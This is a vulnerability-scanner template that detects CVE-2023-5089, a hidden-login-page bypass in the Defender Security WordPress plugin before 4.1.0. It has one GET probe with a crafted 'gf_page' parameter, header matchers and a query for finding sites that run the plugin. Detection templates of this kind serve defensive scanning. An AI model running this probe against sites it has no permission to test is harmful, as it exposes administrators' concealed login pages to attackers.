id: CVE-2023-5089 info: name: Defender Security < 4.1.0 - Protection Bypass (Hidden Login Page) author: jpg0mez severity: medium description: | The Defender Security WordPress plugin before 4.1.0 does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the login page, even when the hide login page functionality of the plugin is enabled. remediation: Fixed in 4.1.0 reference: - https://www.sprocketsecurity.com/resources/discovering-wp-admin-urls-in-wordpress-with-gravityforms - https://wpscan.com/vulnerability/2b547488-187b-44bc-a57d-f876a7d4c87d/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5089 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2023-5089 epss-score: 0.00306 epss-percentile: 0.6923 cpe: cpe:2.3:a:wpmudev:defender_security:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: wpmudev product: defender_security framework: wordpress publicwww-query: "/wp-content/plugins/defender-security/" tags: cve,cve2023,wordpress,wpscan,wp-plugin,defender-security,redirect http: - method: GET path: - "{{BaseURL}}/?gf_page=randomstring" matchers-condition: and matchers: - type: dsl dsl: - "!contains(tolower(location), 'wp-login.php')" - type: word part: header words: - '%2F%3Fgf_page%3Drandomstring&reauth=1' extractors: - type: kval kval: - location # digest: 4b0a00483046022100fd7d861e3f17c0f6e97ee8e723140f3d0c5ec3a282c2dd21b03bf8892b75221502210096307b8b6a2f292b107ed285cffa2143500095d5beca7867a0488e3b1ca6b8e9:922c64590222798bb761d5b6d8e72950